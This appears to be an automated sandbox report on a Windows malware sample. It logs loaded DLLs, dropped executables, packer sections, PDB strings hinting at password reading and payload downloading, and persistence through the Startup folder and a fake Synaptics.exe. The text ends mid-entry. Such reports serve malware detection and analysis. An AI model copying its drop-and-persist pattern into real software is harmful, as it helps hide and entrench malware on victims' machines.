Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Program Files (x86)\3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-0.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: version.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: dxgidebug.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: riched20.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: usp10.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: msls31.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: ieframe.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: netapi32.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: userenv.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: wkscli.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: dataexchange.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: d3d11.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: dcomp.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: dxgi.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: twinapi.appcore.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: msiso.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: wldp.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: mshtml.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: powrprof.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: umpdc.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: srpapi.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: msimtf.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: d2d1.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: dwrite.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: dxcore.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: secur32.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: mlang.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: propsys.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: profapi.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: uiautomationcore.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: winmm.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: winnsi.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: dxgidebug.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: sfc_os.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: dwmapi.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: riched20.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: usp10.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: msls31.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: windowscodecs.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: textshaping.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: textinputframework.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: coreuicomponents.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: coremessaging.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: ntmarta.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: wintypes.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: wintypes.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: wintypes.dll
Source: C:\Windows\wic.exe	Section loaded: apphelp.dll
Source: C:\Windows\wic.exe	Section loaded: wininet.dll
Source: C:\Windows\wic.exe	Section loaded: msimg32.dll
Source: C:\Windows\wic.exe	Section loaded: uxtheme.dll
Source: C:\Windows\wic.exe	Section loaded: oledlg.dll
Source: C:\Windows\wic.exe	Section loaded: oleacc.dll
Source: C:\Windows\wic.exe	Section loaded: winmm.dll
Source: C:\Windows\wic.exe	Section loaded: iertutil.dll
Source: C:\Windows\wic.exe	Section loaded: sspicli.dll
Source: C:\Windows\wic.exe	Section loaded: windows.storage.dll
Source: C:\Windows\wic.exe	Section loaded: wldp.dll
Source: C:\Windows\wic.exe	Section loaded: profapi.dll
Source: C:\Windows\wic.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\wic.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\wic.exe	Section loaded: winhttp.dll
Source: C:\Windows\wic.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\wic.exe	Section loaded: mswsock.dll
Source: C:\Windows\wic.exe	Section loaded: winnsi.dll
Source: C:\Windows\wic.exe	Section loaded: urlmon.dll
Source: C:\Windows\wic.exe	Section loaded: srvcli.dll
Source: C:\Windows\wic.exe	Section loaded: netutils.dll
Source: C:\Windows\wic.exe	Section loaded: dnsapi.dll
Source: C:\Windows\wic.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\wic.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\wic.exe	Section loaded: textinputframework.dll
Source: C:\Windows\wic.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\wic.exe	Section loaded: coremessaging.dll
Source: C:\Windows\wic.exe	Section loaded: ntmarta.dll
Source: C:\Windows\wic.exe	Section loaded: coremessaging.dll
Source: C:\Windows\wic.exe	Section loaded: wintypes.dll
Source: C:\Windows\wic.exe	Section loaded: wintypes.dll
Source: C:\Windows\wic.exe	Section loaded: wintypes.dll
Source: C:\Windows\wic.exe	Section loaded: textshaping.dll
Source: C:\Windows\SysWOW64\shutdown.exe	Section loaded: shutdownext.dll
Source: C:\Windows\SysWOW64\shutdown.exe	Section loaded: sspicli.dll
Source: C:\Windows\cbas.exe	Section loaded: apphelp.dll
Source: C:\Windows\cbas.exe	Section loaded: wininet.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: cbas[1].lnk.11.dr	LNK file: ..\..\..\Windows\cbas.exe
Source: cbas.lnk.11.dr	LNK file: ..\..\..\Windows\cbas.exe
Source: cbas.lnk0.11.dr	LNK file: ..\..\..\Windows\cbas.exe

Source: C:\ProgramData\Synaptics\Synaptics.exe

File written: C:\Users\user\AppData\Local\Temp\aByzSrC.ini

Jump to behavior

Source: C:\Users\user\Desktop\._cache_1.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_2.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\._cache_2.exe	Window detected: (&D)C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe(&W)... (END USER LICENSE AGREEMENT EULA) [] []
Source: C:\Users\user\Desktop\._cache_2.exe	Window detected: 1993-2023 Alexander Roshal(&D)C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe(&W)... (END USER LICENSE AGREEMENT EULA) [] []

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: 4.exe, 00000009.00000000.1765436856.0000000000D54000.00000002.00000001.01000000.00000010.sdmp, 4.exe, 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmp, 4.exe, 00000009.00000003.1770403788.000000000589A000.00000004.00000020.00020000.00000000.sdmp, 4.exe, 00000009.00000003.1769414165.000000000574D000.00000004.00000020.00020000.00000000.sdmp, 4[1].exe.0.dr
Source:	Binary string: \read_name_pass_dll\release\read_name_pass_dll.pdb source: wic.exe, 0000000B.00000003.1823633936.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, msslac[1].dll.11.dr
Source:	Binary string: \Release\EXEPayload.pdb! source: wic.exe, 0000000B.00000003.1814987251.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, cbas.exe, 00000012.00000002.3537228980.0000000000BD3000.00000002.00000001.01000000.0000001A.sdmp, cbas.exe, 00000012.00000000.1920081415.0000000000BD3000.00000002.00000001.01000000.0000001A.sdmp, cbas.exe.11.dr
Source:	Binary string: \Release\EXEPayload.pdb source: wic.exe, 0000000B.00000003.1814987251.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, cbas.exe, 00000012.00000002.3537228980.0000000000BD3000.00000002.00000001.01000000.0000001A.sdmp, cbas.exe, 00000012.00000000.1920081415.0000000000BD3000.00000002.00000001.01000000.0000001A.sdmp, cbas.exe.11.dr
Source:	Binary string: \Release\DownLoad.pdb source: wic.exe, 0000000B.00000000.1799136325.0000000001003000.00000002.00000001.01000000.00000018.sdmp, wic.exe, 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmp, wic.exe.0.dr, wic[1].exe.0.dr
Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar32\Release\sfxrar.pdb source: ._cache_2.exe, 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmp, ._cache_2.exe, 00000008.00000000.1762473821.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmp, 2.exe.0.dr, ._cache_2.exe.5.dr, 2[1].exe.0.dr
Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar32\Release\sfxrar.pdb< source: ._cache_2.exe, 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmp, ._cache_2.exe, 00000008.00000000.1762473821.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmp, 2.exe.0.dr, ._cache_2.exe.5.dr, 2[1].exe.0.dr

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00406A20 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

0_2_00406A20

Source: C:\Program Files (x86)\4.exe

File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\__tmp_rar_sfx_access_check_4196250

Source: 3[1].exe.0.dr	Static PE information: section name: UPX2
Source: 3.exe.0.dr	Static PE information: section name: UPX2
Source: 4[1].exe.0.dr	Static PE information: section name: .didat
Source: 4.exe.0.dr	Static PE information: section name: .didat
Source: ._cache_2.exe.5.dr	Static PE information: section name: .didat
Source: clxa.exe.9.dr	Static PE information: section name: UPX2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004067A4 push eax; ret	0_2_004067AC
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 2_2_004134A1 push edi; ret	2_2_0041351D
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 2_2_0041356E push edi; ret	2_2_0041351D
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 2_2_0040F590 push eax; ret	2_2_0040F5BE
Source: C:\Program Files (x86)\3.exe	Code function: 7_2_00409CCA push ecx; iretd	7_2_00409CD3
Source: C:\Program Files (x86)\3.exe	Code function: 7_2_00409D12 push ecx; iretd	7_2_00409CD3
Source: C:\Program Files (x86)\3.exe	Code function: 7_2_0040962F push es; ret	7_2_00409630
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DF81E1 push ecx; ret	8_2_00DF81F4
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DF880F push ecx; ret	8_2_00DF8830
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D407F0 push ecx; ret	9_2_00D40803
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D3FEFC push eax; ret	9_2_00D3FF1A
Source: C:\Windows\wic.exe	Code function: 11_2_00ECF8FB push ecx; ret	11_2_00ECF8FC
Source: C:\Windows\wic.exe	Code function: 11_2_00FCBA13 push ecx; ret	11_2_00FCBA26
Source: C:\Windows\cbas.exe	Code function: 18_2_00BB41C6 push ecx; ret	18_2_00BB41D9
Source: C:\Windows\cbas.exe	Code function: 18_2_00BB3A36 push ecx; ret	18_2_00BB3A49

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\~$cache1

Jump to dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Source: unknown	Executable created and started: C:\Windows\cbas.exe
Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\wic.exe			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File created: C:\Program Files (x86)\3.exe	Jump to dropped file
Source: C:\Program Files (x86)\4.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe	Jump to dropped file
Source: C:\Program Files (x86)\1.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\2[1].exe	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\~$cache1	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Program Files (x86)\4.exe	Jump to dropped file
Source: C:\Program Files (x86)\4.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cghqi.exe	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\AppData\Local\Temp\HjsFu2ta.exe	Jump to dropped file
Source: C:\Windows\wic.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msslac[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\3[1].exe	Jump to dropped file
Source: C:\Windows\wic.exe	File created: C:\Windows\cbas.exe	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\AppData\Local\Temp\RCXF308.tmp	Jump to dropped file
Source: C:\Program Files (x86)\4.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clxa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\4[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Program Files (x86)\1.exe	Jump to dropped file
Source: C:\Windows\wic.exe	File created: C:\Windows\msslac.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Program Files (x86)\2.exe	Jump to dropped file
Source: C:\Program Files (x86)\1.exe	File created: C:\ProgramData\Synaptics\RCXF181.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\wic[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\wic.exe	Jump to dropped file
Source: C:\Program Files (x86)\2.exe	File created: C:\Users\user\Desktop\._cache_2.exe	Jump to dropped file
Source: C:\Windows\wic.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\cbas[1].exe	Jump to dropped file
Source: C:\Program Files (x86)\1.exe	File created: C:\Users\user\Desktop\._cache_1.exe	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\AppData\Local\Temp\RCXF376.tmp	Jump to dropped file

Source: C:\Program Files (x86)\1.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe			Jump to dropped file
Source: C:\Program Files (x86)\1.exe	File created: C:\ProgramData\Synaptics\RCXF181.tmp			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Program Files (x86)\3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Program Files (x86)\1.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Program Files (x86)\2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Program Files (x86)\4.exe	Jump to dropped file

Source: C:\Windows\wic.exe	File created: C:\Windows\cbas.exe	Jump to dropped file
Source: C:\Windows\wic.exe	File created: C:\Windows\msslac.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\wic.exe	Jump to dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\~$cache1

Jump to dropped file

Source: C:\Windows\wic.exe

